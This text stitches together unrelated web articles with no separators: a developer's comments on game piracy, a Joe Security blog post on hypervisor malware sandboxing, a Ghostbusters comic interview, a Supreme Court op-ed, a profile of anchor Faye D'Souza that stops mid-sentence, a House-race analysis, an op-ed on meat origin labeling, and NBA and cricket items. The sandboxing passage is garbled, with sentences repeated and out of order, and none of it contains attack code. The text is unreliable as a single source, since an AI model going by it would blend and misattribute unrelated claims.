The pricing controversy surrounding Braid, a recently-released Xbox Live Arcade game which has garnered positive response from critics but negative attention from some gamers not willing to cover its $15 price tag, was a particular sore spot for Harris. "I think it's crazy for people to resent such a small price for a game. I don't feel like the world has ended, though. We all routinely spend more than $10 or $15 on things that don't last as long as a decent PC game," he said. Referencing a recent Penny Arcade comic, Harris continued. "A $15 t-shirt can be a spur-of-the-moment buy, but a game for the same cost needs to be a work of genius. I don't get why that is."
"Because I can"
Harris' plight has already drawn a significant response from visitors to his website and others on the web. In the first 24 hours after he made the call, Harris notes that he has received "tons, hundreds, if not more" responses. "Most of them have been generic piracy points, which is interesting, although not the original request," said Harris. "I have got a few sarcastic ones, but a lot of very long, well-thought-out explanations, mainly from people who don't pirate games now, but used to in the past."
Responses for piracy have been wildly varied. Some responders parrot popular reasons for piracy. Some pirate so that they can try the game before they buy, as though a pirated copy of the game were a free demo. Some do it to spit in the face of publishers who use copy-protection methods. And for others, it's as simple as "because I can." One response reads, almost mercilessly, "pirates deliver a more convenient product at a better price." Harris anticipated exactly these remarks. "There are lots [of reasons why piracy exists]," said Harris. "The ones that bug me are the people who are just trying to save money but could afford it, or the ones with some 'intellectual' justification for believing it's their human rights to get free stuff."
In spite of Harris' continued interest in developing for the PC, though, he does concede that he's being pushed towards closed console development. "I have considered console gaming, and also online gaming," said Harris. "The thing is, I personally prefer single-player games, so that's the style of game I design. I do think a lot about the best way to set up my game demos, the website, and what after sales support, content and patches to provide in order to reduce the extent of piracy for my games."
Piracy has long been a maddening reality for game developers—and, for that matter, all software developers and media companies in general. It's not a new phenomenon for gaming, to be sure, but as the business grows and more money is pumped in to projects big and small, the risk-to-reward ratio is a cause for concern for developers. Perfect solutions do not yet exist: developers have to find them. And while the stop-gap measure for now may be DRM or some kind of one-use reward for players who actually purchase games, developers continue to hunt for new ways to get move the majority of gamers in the direction of being patrons rather than pirates. Harris, frustrated with the balance tipping the wrong way, has found a new avenue to search for answers. Hopefully the answers that he finds help the industry at large.
"I honestly think I might learn something. IP owners characterize all pirates as freeloading scum," said Harris in closing. "Pirates characterize all IP owners as fat-cat billionaires in gold-plated Ferraris. It's about time we both listened to each other more." To other developers, he offered his support. "Don't be afraid to talk about [piracy]. A lot of big-name developers have blamed piracy for disappointing sales, and there is a perception that the minute you mention it, everyone will kick you in the face, because it's happened a lot recently.
"The problem is, devs need to be really honest about the topic. Blaming piracy for a move to the consoles is fine if it's really true, but if it's just an excuse to cover up a really badly made game, or one that nobody had machines that ran, that's just silly. It's easy to discount everything [pirates] say as justifications for theft, but if someone tells you your game's over-priced, buggy and the DRM is a nightmare, then it's madness not to listen to them."Published on: 20.06.2017
At Joe Security, innovation is in our genes. We have been working on an awesome new component which takes advantage of hardware virtualization to analyze and detect malware. We call this new product Joe Sandbox Hypervisor.
What is hardware virtualization? What technology do we use for introspection? How do we implement it and what are its benefits? Read this blog post to get answers to these questions. We call this new product
Hardware Virtualization
To achieve that, it adds an additional feature for memory separation (e.g. via extended paging tables) as well as a new CPU ring/mode (often referred to as root mode or ring -1). The transition from the normal modes (ring 0-3) to root mode can be visualized like this: Hardware virtualization is a general term for an instruction set, introduced by Intel (VT-x) and AMD (AMD-V) in 2005/2006. The instruction set supports running several operating systems simultaneously on the same CPU.that, it adds an additional feature for memory separation (e.g. via extended paging tables) as well as a new CPU ring/mode (often referred to as root mode or ring -1). The transition from the normal modes (ring 0-3) to root mode can be visualized like this:
For malware analysis, this transition is very interesting since it intercepts execution of the malware at specific events, extracts additional information and then returns/continues execution. This enables fine grained interception as well as tracking detailed runtime information. Another great benefit of hardware virtualization is stealthiness, making it very difficult for malware to detect.
Kernel mode Hooking
Since hardware virtualization is relatively new, Joe Sandbox currently uses a pure kernel mode (ring 0) driver which intercepts various system events such as system calls, kernel calls, memory events etc. So is there something to fear of? Not really: Using hooking/function interception in kernel mode works perfectly for 99% of all malware out there. The only problem are rootkits which run in kernel mode themselves. However, rootkits have all but disappeared during the last years:This week, the cast of the original Ghostbusters will find themselves on a collision course with the team who starred in the controversial 2016 reboot, who are being called the "Answer the Call" Ghostbusters (after the film's tagline).
It's far from the first Ghostbusters crossover that IDW Publishing and writer Erik Burnham have undertaken, but this is the one that's likely to attract more attention than any other, particularly due to the love-it-or-hate-it dynamic that the "Answer the Call" version of Ghostbusters has.
Burnham and Schoening joined ComicBook.com for a brief Q&A about the series, the first issue of which is in comic stores today.
The ghostbusting team of Holtzmann, Yates, Tolan, and Gilbert will cross paths with Venkman, Stantz, Zeddemore, and Spengler – in a brand new comic book series set in the long-running IDW continuity from the fan-favorite, critically-acclaimed, and prolific Ghostbusters comics creative team of Erik Burnham, Dan Schoening, and Luis Antonio Delgado who have written and drawn the IDW comics for the past five years.
You've handled dozens of Ghostbusters characters at this point. Was it just old hat bringing in the “Answer the Call” Ghostbusters, or is it still exciting?
You can buy it at your local shop or get it digitally on ComiXology.
When they introduced the new cast and announced that it wasn't set in the same universe as the original, fans immediately started hoping for an eventual meeting. Does that add pressure to being the guy to actually write it?
Dan Schoening: It's definitely exciting to bring in the “Answer the Call” ladies into the fold. They aren't just based on the '84 Ghostbusters, but are their own individual characters. Each one brings something wonderful to the table, creating new and engaging dialog and dynamics.
Erik Burnham: It never stopped being exciting! I wrote my first pitch for a Ghostbusters project in 2010, and the thrill is still there for me... and every new character or situation we throw into the mix charges me up a little more. Everything new allows Peter and the original crew something fresh to react to, which keeps things fun.
Why did you decide to "merge" two distinct universes instead of just playing it off like similar things had happened more than once over the years?
Schoening: I can only speak on behalf of the art, but I'm more excited than worried about how the fans will react to the comic versions of the characters. The whole team at IDW love Ghostbusters, and I feel we create comics we're proud of. Any art medium is subjective, and it can go many ways in the eyes of the beholder. We hope that everyone digs it as much as we enjoyed making the stories.
Burnham: I feel pressure every month, every comic, every issue... so yes. But beyond that, it’s been great. We’ve had a very small minority of fans (some who prefer the originals, some who are all in on the ladies from the recent film) that want no mixing -- but the overall majority of Ghostbusters fans are just looking forward to seeing what the characters might blow up, and how they’ll react to each other.
Burnham: In other Ghostbusters crossovers, it’s generally been two teams vs. a more powerful entity -- having the worlds overlap in this kind of way is a different problem for them to solve, which helps in keeping things from feel cut-and-paste. (Or that’s the hope!)
What can you tease about the threat that brings the teams together?
Burnham: Well, the original Ghostbusters acquired a transdimensional portal... and in this story, an error in its operation allows for an event that starts to cause another universe to drift. That’s vague, right?
But the end result is things blending together. Superhero comics do this kind of thing all the time -- making sure things stop before any real damage is done and separating the dimensions... those are the goals. The fun will be in how they interact with each other, and the changes that are made to their respective worlds and attitudes. It’s a journey of character fun!
Schoening: To be honest, I get to experience each issue one after another as Erik has them finished. I'm not sure who the antagonist is at this point. But, from what I do know, it involves a ghoul that doesn't feel quite all herself... something's missing.
Is there a way that the two teams can live together long-term? It almost seems from the first issue as though the supernatural "dam burst" is something that has to be fixed, and therefore limits the amount of time the teams can spend together.
Burnham: And that’s correct. Things will be fixed -- because all the toys need to go back into the toybox when you’re done playing, and I don’t think that’s a spoiler. But these two groups will know about the other. They can consult, seek the others’ expertise or aid. After the “Get Real” crossover, folks figured that’d be it for the Real Ghostbusters... and then, in Ghostbusters International, we borrowed the blonde Egon Spengler for several issues to stand in for Classic Egon.
In Dan Aykroyd’s original concept, the Ghostbusters were a massive organization, with plenty of franchises who operated on not just a worldwide, but a multi-dimensional scale. With the comics, we’re able to dig into something that would be way too unwieldly for film. (Or at least a first film.)
So these groups aren’t going to be in the same city, same dimension, same reality for long term… but they can still be colleagues and friends. That’s a comic book staple going back decades.
Schoening: I like the idea that both teams are in different universes, but can come together from time to time when needed. Also, we don't one one New York City to be without a team of Ghostbusters :) Every NYC needs Ghostbusters.
Given the feminist undertones of the film and the controversy surrounding it, do you have to be careful about the way the “Answer the Call” team interacts with the classic Ghostbusters? They aren't exactly students like Cait & co.
Burnham: They’re not students, no! But as far as interaction… since we’ve had as many women as men busting ghosts in the comics over the years, playing it as anything less than perfectly normal would be silly.
They’re all idiosyncratic people, though -- the ladies and the gents -- so there will be some snark and there will also be some shared enthusiasm, because scientists, at their best, love to learn from each other.
(At the end of the day, that’s how we move forward -- even in a silly book where smart-alecks with lasers shoot at ghosts!)
Schoening: I feel the key is to just stay true to the characters. Both teams are professionals at what they do, and we want that to shine beyond any controversy or negativity.
What makes the “Answer the Call” team different from the various "next generation" iterations of the Ghostbusters you've dealt with so far?
Burnham: They’re portrayed live onscreen by real people. That’s the big difference. You’re seeing more than the character. Impressions from other projects, or even to them as actresses is all in the mix. That’s different from anything possible in cartoons or comics. It’s a different sensory perception. That’s baggage. Baggage isn’t bad! But it really changes how people connect. There are fans who didn’t come to these characters because of the plot or the mythology of the film, but because they like Wiig or Jones or McCarthy or McKinnon. Or Hemsworth! Or even just the specific sense of humor built by Dippold and Feig. It’s a different kind of alchemy. Characters original to the comics, well, everyone can (and often does) have different perspective on them and different ways to bring them to life in their minds. The live action characters have already been brought to life.
I realize how obvious this all sounds, but a performance really makes a mark. Think of Tony Stark; in 50 years, he’d had several characterizations. Some that don’t feel the same. Now add the charisma of the Robert Downey Jr. performance in the Marvel movies. The character will now be judged on and against that version. Nothing wrong with earlier versions of Tony Stark. But this one was alive and so came alive.
Rambling answer, right? Sorry about that!
Schoening: I would echo Erik's thoughts that the “Answer the Call” team is based on actors, so we are starting with characters the audience knows in depth. It helps me a lot as an artist, as I can watch the movie, and take those mannerisms and visual quirks, then incorporate them into the panels.
Will the “Answer the Call” Ghostbusters ever notice that these guys they're teamed with really look a lot like people they encountered during their big-screen adventure?
Schoening: Indeed they will!
Burnham: HA! I just wrote that scene this week! In all honesty, I thought about bypassing it just because it’s been so heavily anticipated that I’d be competing with thousands of different reactions to that very idea, but no one (not my editor and not Ghost Corps) was going to let me off this particular hook. And I’m glad they didn’t -- it provided a couple of my favorite lines of the issue!The Supreme Court
Last Friday, Justice Antonin Scalia delivered the Henry J. Abraham Lecture at the University of Virginia law school. In defending his constitutional methodology of originalism, Justice Scalia started with a classic joke. I’ll paraphrase: Two hunters find themselves being chased through the woods by a bloodthirsty bear. The heavier one starts to huff and puff, and finally turns to the other and wheezes: “I don’t think we’re going to be able to outrun him!” The second hunter, jogging just ahead, replies: “I don’t need to outrun him; I only need to outrun you!”
Scalia’s point is that it’s not his responsibility to prove that textualism or originalism are perfect constitutional theories. It’s enough for him to demonstrate they are better than the alternative. And the alternative, says Scalia, is for a justice to “make the law what he thinks it should be.” His parable of the Bear, the Hunters, and the Originalist reminded me of what Scalia does so well that liberal constitutional thinkers can’t always manage. Where he is pithy and clear in his prescription for judicial restraint, they get all tangled up in an effort to make their own jurisprudential theory sound perfect. Perhaps in advance of what is shaping up to be a galactic fight about President Obama’s next Supreme Court nominee, liberals should take Scalia’s adage to heart and content themselves just to outrun the other guy. In other words, maybe there is no time like the present to tell the country about the hazards and pitfalls of the conservative theories of originalism and textualism and the cult of balls-and-strikes-ism that has taken over the American jurisprudential debate.
The public conversation about the judiciary in recent decades has often conflated a broad fear of unelected judges with a clear definition of what judges should do. In the wake of the Jackson Pollock-style jurisprudence of the Warren Court, anxiety about overreaching judges morphed into a widespread sense that judges simply do too much. Conservative groups happily pushed the line that liberal judges were all merely unelected “activists” bent on “legislating from the bench.” But this says little about how a judge should decide cases and much about our fear of the bench. Originalism and textualism aren’t the only way to constrain judges, but they dovetail nicely with the idea that if you confine yourself to what the framers would want, you can’t make as much of a mess with the yellow paint.
That’s how judicial “activism”—a word we all should acknowledge is meaningless—turned into a catchall term for judges who did anything one didn’t like. They were, after all, acting. It’s only in recent years that we’ve discovered that the opposite of an “activist” judge is, in fact, a deceased one.
When John Roberts captured the hearts of America during his confirmation hearing, with his language of “minimalism” and “humility” and “restraint,” he brilliantly reassured Americans that at his very best, he would do just about nothing from the bench. This pledge was shored up by a complex web of doctrines guaranteed to ensure that, in case after case, his hands were tied. Long before he was tapped for a seat at the high court, Roberts had written approvingly of efforts to cabin judicial power, including his efforts in 1984 to promote court-stripping legislation, to circumscribe the reach of Title IX, and to stiffen standing requirements for access to courts. Since becoming chief justice, Roberts and his colleagues on the court’s right wing have continued to resolve cases by narrowing the authority of courts to solve problems. The Roberts court has worked to ensure that it’s harder for women to bring gender-discrimination suits and harder for elderly Americans to sue for age discrimination. It’s ever harder for those affected by pollution to prevail. Last term was the worst ever for environmental cases at the high court.
Reviewing these trends at the Roberts court last spring, Jeffrey Toobin concluded that
[t]he kind of humility that Roberts favors reflects a view that the Court should almost always defer to the existing power relationships in society. In every major case since he became the nation’s seventeenth Chief Justice, Roberts has sided with the prosecution over the defendant, the state over the condemned, the executive branch over the legislative, and the corporate defendant over the individual plaintiff.
You can keep on characterizing this as merely “calling balls and strikes,” but it’s becoming amply clear to most Americans that with this court behind the plate, only big business ever gets to first.
We have, then, a surrendered court, an institution devoted to the principle that it is critically important to be seen as powerless and unimportant. A court that has deployed filing deadlines and pleading requirements and standing doctrine to keep the courts out of the picture. Maybe it’s not as simple as “restraint” versus “activism.” Maybe the opposite of an activist court is a court too passive to do justice at all.
Now before my friends out there in the conservative blogosphere go crazy and consign me to the same place they consign, well, everyone I know, it’s important to clarify that there is a principled jurisprudential debate to be had, on the need to constrain the judiciary. There is a need for a thoughtful discussion about how to interpret the Constitution and what judges should take into consideration while doing so, and I dearly hope we will spend the coming weeks having it. My only point here is that most Americans, having been terrified by the specter of “liberal activist” judges legislating from the bench, should be equally terrified at the prospect of “humble judicial minimalists” who are institutionally powerless to do anything at all to protect America’s women, its workers, its minorities, and its environment. I suspect most Americans still want to believe that if they are the victims of discrimination or injustice or brutality, the courts are a place to go for vindication. As suspicious as we may all have become of ideological, activist judges, I imagine most of us would still like to believe that if we were to file something in a courthouse tomorrow, a judge would be available to do something about it.
If I learned anything from the confirmation hearing last week for Goodwin Liu, Obama’s nominee for the U.S. Court of Appeals for the 9th Circuit, it’s that the Republican script about judges won’t change anytime soon. Anyone nominated by a Democrat will be reflexively accused of being dangerous, grandiose, power-mad, and unprincipled. It’s worked for years, and it may even work for a few more months. But faced with a federal judiciary proving itself to be so “humble” and “restrained” that it should maybe be on Philip Morris’ payroll, the idea that there is an affirmative role for jurists to play in this system of checks and balances should not be so hard to sell.
In his excellent piece in the New York Times last week, professor Geoffrey R. Stone talked about the need to do away with conclusory language about neutral umpires versus judges who make stuff up. Invoking the vital constitutional role of the court in protecting minorities, Stone pointed out that the court cannot play its role as a counter-majoritarian check when conservative judges “tend to exercise the power of judicial review to invalidate laws that disadvantage corporations, business interests, the wealthy and other powerful interests in society.” Again, there is a compelling argument to be made to the contrary. But Stone’s larger point is that we can’t have this conversation when we are busy bonking one another on the head with bats that say “crazy activist” and “neutral umpire.”
Writing yesterday at the Huffington Post, Simon Lazarus also observed that while “in the recent past, Democratic leaders have shrunk from controversies about the Constitution and the courts” this nomination seems to have motivated the White House and congressional Democrats to refine their message to something beyond “We. Are. So Not. Activists.” What we have heard, since the day of Stevens’ retirement, has been a sharp response from President Obama himself, who said he was looking for a justice who, like retiring Justice John Paul Stevens, “knows that in a democracy, powerful interests must not be allowed to drown out the voices of ordinary citizens.” Sen. Patrick Leahy has made the same point in the weeks since, insisting on the Sunday talk shows that under the guise of in-activism, the Roberts court has almost completely ceded its responsibility to see justice done in America. Props to both the White House and Sen. Leahy, who seem to have taken Justice Scalia’s lesson to heart: This time around, liberals needn’t try to outrun the bear. They just have to outrun a Roberts court that is increasingly reluctant to move.On June 09, in an episode of Mirror Now’s prime time show, anchor Faye D’Souza suddenly found herself disciplining a guest. The subject for that evening’s debate was sexism and women being trolled for what they wear. One of the panellists, an irate maulana, chipped in with a comment for D’Souza: Why didn’t she go to work dressed in her underwear? Then, surely, she would find the equality between men and women that she spoke of.
D’Souza smiled, shook her head, stayed calm, and spoke in a steady voice for two minutes: “He hopes that he will rile me up. He hopes that I will throw a fit and I will lose control of my panel and forget how to do my job. Let me tell you Maulanaji, I have seen many like you. I am not afraid of you, I am not threatened by you, I am not rattled by you.”
The maulana’s comment and the rejoinder from D’Souza promptly became a viral video, vaulting her to immediate social media fame. Just like that, a new channel—Mirror Now—had arrived. Thanks to the video, an audience that was tired of aggressive male panellists on television, found someone they could finally watch on prime time news.
“A lot of people ask me why I didn’t lose my cool,” said D’Souza, recalling the episode at her office in Lower Parel. She smiled. “Because it was funny!” It was just another day at work for the 35-year-old. “If you’ve been around as a woman working in any sector in India, it’s a huge challenge to be looked at not for your gender or what you’re wearing or what you look like or whether you are emotional or whether you are strong. We get typecast in all these things and we have been through all those things. I read it as—this is someone who is trying to throw me off my game, because it happens to us a lot as women.”
Before the deluge
D’Souza, a relatively unknown face in television journalism until a few months ago, has arrived with a big game. She was launched as the face of the Times Group-owned channel, Mirror Now, when it was rolled out in its new form in April. Compared to the ad campaigns of its sister channel Times Now, the promotions for Mirror Now were few and muted. But one video went viral, and then another, and suddenly there was that ineffable thing called momentum.
“I’m actually pleasantly surprised,” said D’Souza, of her rising popularity. “Even now when someone walks up to me and says ‘Oh! I really like your show,’ or ‘I watch your show,’ I’m always a bit surprised. I am not used to it at all. All of the success and love that the channel is getting, the team is getting, that I’m getting, I’m so grateful for it.”
D’Souza, who grew up in Bengaluru and studied journalism at Mount Carmel College, got her first job off-camera at CNBC TV18 in 2003. She later moved on to reporting about mutual funds, insurance, and consumer issues, before shifting to ET Now as the editor for personal finance in 2008 (a position she still holds).
D’Souza has a precise, measured manner of speaking and a voice that she once thought would be deployed on the radio waves. For two years she read the news for All India Radio in Bengaluru when she was in college. “I always felt I’d be good with voice work more than face work,” she said, laughing. That joke about having a face for radio hung in the air.
But there are no news opportunities on the radio and once she got into television, the pull was ineluctable and inevitable. “The thing about live TV is the speed of it, the fact that it’s about thinking on your feet,” she said and snapped her fingers. “It’s about responding immediately. I did a lot of debating and public speaking when I was in college. It’s a lot like that. You have your research on the table but to be able to flip it and ask the right question or counter the right question or call out someone when they are lying, that involves just being able to think immediately. I think there are very few things that compare to that kind of rush.”
D’Souza commands a team of 50-odd journalists at the Mumbai-headquartered channel, a relatively small number compared to the staff at most other channels. Primarily, Mirror Now relies on sister channels ET Now for production support and Times Now’s reporting network. Their flagship prime time show Urban Debate was born on MagicBricks Now, the previous realty-focused avatar of the channel. From looking at the concerns of home buyers, the show evolved to focus on the concerns of home owners—things like bijli, paani, sadak, or electricity, water, and roads—and that outlook has endured.
“Our aim is to pick topics that affect as many people as possible,” said D’Souza. “We want to be able to pick a topic that people aren’t just interested in, but also impacted |
are just a couple ticks greater than zero. But the two current polling leaders for the Republican presidential nomination, Trump and Carson, happen to be the two candidates almost perfectly designed to turn off voters in the districts Democrats need to retake the House.
We know from Republican primary polling that Trump, as explained in a great analysis by National Journal’s Ron Brownstein, does far better among Republicans who do not have a college degree than among those who do. We also know, through polling and by virtue of his new lead amongst Iowa’s heavily white, conservative and evangelical Republican caucus electorate, that Carson is a candidate of the religious right.
Let’s assume these bases of support would continue into a general election. There are 10 states that rank in the top third for both smallest percentage of college graduates over 25, according to the U.S. Census, and for highest percentage of white evangelical Christians, according to the Public Religion Research Institute’s American Values Atlas polling. These are some of the states where Carson or Trump might do best. They are, in alphabetical order: Alabama, Arkansas, Indiana, Kentucky, Mississippi, Oklahoma, South Carolina, Tennessee, West Virginia and Wyoming. All of these states voted for Mitt Romney by at least 10 percentage points in the last election. They have something else in common: None of the most competitive House seats are in these states.
The 38 Republican-held seats rated as at least potentially competitive in the University of Virginia Center for Politics’ Crystal Ball House ratings all lie outside their borders. The nation’s increasing political polarization suggests Republicans would largely unify behind their standard-bearer. But Carson, through his highly conservative rhetoric on culture war issues, and Trump, through his anti-immigrant stances and lack of traditional political polish, could really hurt Republicans in the affluent suburbs, which just so happens to be where future Democratic House majorities are almost certain to be made.
Carson and Trump, through their lack of experience and long histories of overheated rhetoric, could easily turn off some of the voters who might have otherwise happily supported someone like Jeb Bush or Marco Rubio but don’t think Carson and Trump pass the smell test as a potential president. That could lead to depressed GOP turnout in crucial swing districts, robbing some incumbents of votes, or could even prompt a wholesale rejection of the Republicans in certain districts down the ticket, effectively making 2016 a Democratic wave year.
In the places one might expect Carson and Trump to best retain their strength—Appalachia and parts of the South—Democrats do not have any House seats they can plausibly target. Outside of a handful of urban and majority-minority districts in these areas that Democrats already hold, they cannot credibly compete there, at least right now.
Whenever the Democrats next control the House, it’s likely that their majority will include hardly any seats from Appalachia and the Deep South, which would be a change from any of their previous House majorities. The seats Democrats are likely to target in the future are in places like suburban Philadelphia, Greater New York and New Jersey, suburban Denver, Greater Chicago, Northern Virginia, Las Vegas, Minnesota’s Twin Cities and other suburban areas. These are districts where the number of college graduates is generally higher than the national average and where there are below-average numbers of white evangelicals. It is not outlandish to suggest Carson or Trump would perform poorly in these places.
A widely-cited obstacle to Democrats winning back the House is that, even while Barack Obama was defeating Mitt Romney by four points, Romney won 226 House districts. There’s no question the House map is skewed toward Republicans, thanks in part to the GOP controlling redistricting in many key states after the last census. But what would those House districts look like if, in 2016, the Democratic nominee did better than Obama did in 2012? Again, a historically poor Republican nominee could help make that happen.
Let’s say the Democratic nominee wins about 53 percent nationally in 2016, two points better than Obama in 2012 and matching his 2008 win. Obama won 237 House districts in 2008 under the current lines. Many of these districts are more Republican than the nation as a whole, but a rising Democratic tide could lift many boats. If the GOP nominee is bad enough, it may be difficult for the rest of the party to quarantine itself from a top-of-the-ticket electoral affliction.
Now-former Speaker John Boehner’s parting gifts do give the House Republican caucus a booster shot, though. The recent budget deal that rules out a debt ceiling battle between now and the election and the ascension of Paul Ryan as speaker has thrown icy cold water, instead of gasoline, on the most flammable elements of the House GOP caucus, at least for the moment. With the chances of a self-inflicted error like a shutdown reduced—although not eliminated—and a free-for-all battle for speaker averted, the House now seems less capable of doing anything so politically stupid that it might endanger the GOP’s House majority, which is the biggest it had won since the 1928 election.
This is politically helpful to House Republicans in at least one big way. After Boehner’s retirement and House Majority Leader Kevin McCarthy’s surprising decision to pass on a bid for speaker, there were rumblings that some House members could retire rather than choose to remain a part of a dysfunctional caucus. The elevation of Ryan, who is broadly popular in the caucus, seems likely to prevent mass desertions.
At the moment, Republicans are only defending six open seats in districts that the Crystal Ball rates as competitive. Generally speaking, open seats are riper for takeover because the power of incumbency is removed—for all the supposed resistance in American life to establishment, insider candidates, incumbent re-nomination and reelection rates remain quite high. Since the end of World War II, on average about 98 percent of House incumbents win re-nomination and 92 percent win reelection. So far 10 members of the House have announced their retirement, according to Roll Call’s running tally. Given that the average over the last 40 years is 23 per cycle, more retirements are coming, but there’s no reason at this point to expect a GOP exodus, and many of the open seats will come in seats where the competition will be in the primary, not the general.
Ultimately, though, most Americans don’t care about the House and what it does, unless it becomes so toxic that it makes persistent and damaging national news (like during a shutdown, although we saw in 2013 how the polling effects of shutdowns are ephemeral).
To the extent that Americans pay attention to electoral politics, they focus on the White House. If they did care about the House, more of them would vote in midterms (turnout is typically 15-20 percentage points less in midterms than in presidential races), and their votes in midterms wouldn’t be almost uniformly so reactionary against the party that holds the White House (after last year, the president’s party has now lost ground in the House in 36 of 39 midterms).
This is a long way of saying that, while House Republicans over the last few weeks have done a good job of taking care of their business, they do not necessarily control their fate if conditions for them are bad next year. After all, there were fewer House members elected from districts that the other party’s presidential candidate won in 2012 than in any presidential election since 1920. While there are entrenched swing district members on both sides who can weather these trends, we’re not in an era where there’s a high level of House ticket-splitting.
Now, in the event of a weak GOP standard-bearer, the voters might not punish the whole party. That was the case in Richard Nixon’s “lonely landslide” on 1972, when voters separated George McGovern from his fellow Democrats. Or maybe the whole party would falter—Democrats went into the 1964 presidential election with a big House majority and added 37 seats to it as Lyndon Johnson routed Barry Goldwater. We just don’t know.
But the point is just to say that the districts are there for Democrats to make a move if conditions are terrible for the Republicans because of a disastrous presidential nominee.
Even if they lose the White House, Republicans still remain heavy favorites to hold the House next year. But a presidential candidate who alienates the middle of the country poses a threat, precisely because the middle of the country—the swingy suburbs—now represents the Democrats’ path back to the House.The World Trade Organization ruled against the U.S. for the fourth and final time in an ongoing dispute between the United States, Canada and Mexico regarding the U.S. country of origin labeling (COOL) program. Retaliation by Canada and Mexico will soon become a reality, meaning economically devastating tariffs on a broad spectrum of U.S. exports, from meat and fruit to jewelry, furniture and biofuels. Ripple effects will be felt in nearly every industry, every state and every consumer’s wallet. This is why COOL for beef, pork and chicken — nothing more than a failed government experiment— must be repealed.
In 2002, Congress enacted a mandatory country of origin labeling requirement for meat products. Following amendments made to the 2008 farm bill to address questions of workability regarding the original statute, the Department of Agriculture finalized implementing regulations in 2009. In a recently released congressionally mandated study, the USDA estimated it would cost approximately $2.6 billion for the livestock and meat industry to comply with COOL rules. These rules required livestock from outside the U.S. to be segregated through each step of production, raising the cost of utilizing imported livestock.
Canada and Mexico quickly filed suit at the WTO, claiming these rules are discriminatory and diminish the value of their livestock. The WTO agreed and ruled against the U.S. three times. The U.S. is awaiting the appellate body’s fourth decision, expected this month.
The USDA’s Agricultural Marketing Service, which enforces COOL, has repeatedly said COOL is not a food safety program, but rather a marketing program. However, as a marketing program it is a failure. According to a 2012 Kansas State University study, typical U.S. consumers are unaware of country of origin labeling and do not look for meat origin information when purchasing beef, pork and chicken products.
High compliance costs; no increase in demand. Surely if consumers want this information they’d be willing to pay, right? Wrong! Multiple economic studies show no evidence suggesting mandatory country of origin labeling in the U.S. retail meat markets has increased consumer demand. This isn’t shocking given that the label, if you can even find it, provides no useful information because the program has nothing to do with food safety or animal health.
Other academic studies completed after passage of the 2002 farm bill revealed the potential for only a small premium based on origin labeling, but consumers interested in the origin information were only willing to pay if viewed as a food-safety assurance. All meat offered for sale in the United States must be inspected and passed, and bear a label attesting to this authorized by the USDA Food Safety and Inspection Service, thus negating any potential premium or increased consumer demand for COOL.
For decades, many business owners have voluntarily labelled or branded their meat products to distinguish their product and charge a premium. For example, the grocery chain Safeway markets its “Rancher’s Reserve” beef with a voluntary label, and my home state of Texas has a successful “Go Texan” marketing program to distinguish products made in the Lone Star State. Companies voluntarily market their products to add value, but a costly government mandate yields no benefit if consumers are not willing to pay.
Aside from compliance costs, COOL hurts much more than just the agriculture industry. If the WTO rules against the U.S., and Canada and Mexico retaliate against U.S. exports, the effects could be damaging to a broad spectrum of U.S. industries. In June 2013, Canada published an extensive list of U.S. products that could be subject to retaliation. While Mexico has not published a list, news outlets have reported that retaliation from Canada and Mexico could reach $2 billion.
According to the U.S. Chamber of Commerce, trade with Canada and Mexico supports nearly 14 million U.S. jobs. Ninety-five percent of the world population resides outside of the U.S., and if compliance standards are not met, these American workers will be unable to sell their goods and services across trade barriers, and the U.S. could lose its reputation as a reliable trade partner. American businesses, small and large, can ill afford to pay the penalty for this failed experiment.
Other U.S. industries have testified to the long-term effects that trade retaliation reaps. This past March, the House Agriculture Committee held a subcommittee hearing, led by Rep. David Rouzer, R-N.C., to look into potential ramifications of the WTO decision. U.S. wine makers discussed the retaliatory sanctions they faced resulting from the U.S. loss in the Mexican trucking dispute and to this day they are fighting to get back only a portion of the market they lost.
In light of Monday’s ruling by the WTO, it is more important now than ever to act quickly to avoid a protracted trade war with our two largest trade partners. After hearing from members of the agriculture and business communities, it is the Agriculture Committee’s intent to be ready with a legislative solution this week to repeal COOL for beef, pork and chicken. We must act quickly to prevent the irreparable damages of retaliation, both to our economy and the trade relationship with Canada and Mexico.
Rep. K. Michael Conaway, R-Texas, is chairman of the House Agriculture Committee.LA Clippers superstar point guard Chris Paul publicly challenged Blake Griffin to help lead them to the promised land. Griffin says he agrees with his demanding teammate — the forward realizes he must get better in order for the Clippers to take the next step. Per ESPN: “[Paul] has a huge role on this team,’ Griffin said Thursday. ‘He’s been the guy who has closed out a lot of games late for us. But in my mind, this is the year I need to step into that role and really help him shoulder that load. I’ll be right there with him at the end of games, being the guy that he can always count on.’ Griffin, 24, has developed into one of the best power forwards in NBA during his first three seasons, but he has yet to advance past the second round of the playoffs. Griffin made his third straight All-Star team last season, but his season averages in scoring (18.0) and rebounding (8.3) fell off slightly from his career averages (20.4 points, 10.4 rebounds), as he played nearly three fewer minutes per game during the regular season, at 32.5, in an attempt to stay healthier for the playoffs. Griffin’s assists rose to 3.7 per game in 2012-13 from 3.2 in 2011-12, while his steals rose from 0.8 to 1.2 per game over the same period. […] ‘To be honest, I’m more excited about this upcoming season than I’ve ever been,’ Griffin said. ‘My workouts with [shooting coach] Bob Thate and our coaches have been geared around figuring out how I’m going to be used this season. I’m doing a lot of stuff at the elbow, a lot of shooting. One of the things [new coach Doc Rivers] said to me was, ‘I don’t want you to be afraid to go 0-for-15.’ In other words, just have the mindset of a shooter. And with the work I’ve done this summer, I’m starting to get that confidence and think like a shooter.’ Griffin shot 53.8 percent from the field last season but just 34 percent on shots from 16 to 23 feet, according to Hoopdata.com. He did noticeably improve his shooting from 10-15 feet, from 27 percent in 2011-12 to 40 percent last season. Griffin thinks he still can make much improvement, however, and that when he proves he can hit a face-up jumper, it will change the way defenses play him. ‘We’ve been working on a lot of face-up stuff in the post,’ he said. ‘I’m definitely going to be used differently this year. This summer has been so great for me. I’ve had a completely healthy, full summer to be able to work with our coaching staff, once I got over the ankle thing. This summer has been huge for me, and it’s one of the reasons I’m so excited about next year.'”Michael Carberry has a chance to add to his five ODI caps © Getty Images
Michael Carberry has been recalled to England's Twenty20 and ODI squads for the matches against Sri Lanka which begin next week. Tim Bresnan is also back in both squads, having missed the game against Scotland, but Moeen Ali only finds a place in the T20 outfit. The one-day squad has only been named for the first three matches of the series.
Carberry's return is the most notable selection in what are otherwise unremarkable squads with no new faces. In an interview with the Guardian earlier this season, Carberry came out with some hard-hitting remarks about how he had been treated during the limited-overs leg of the Australia tour, coached by Ashley Giles, when he claimed he was not given a clear answer about why he had not been selected.
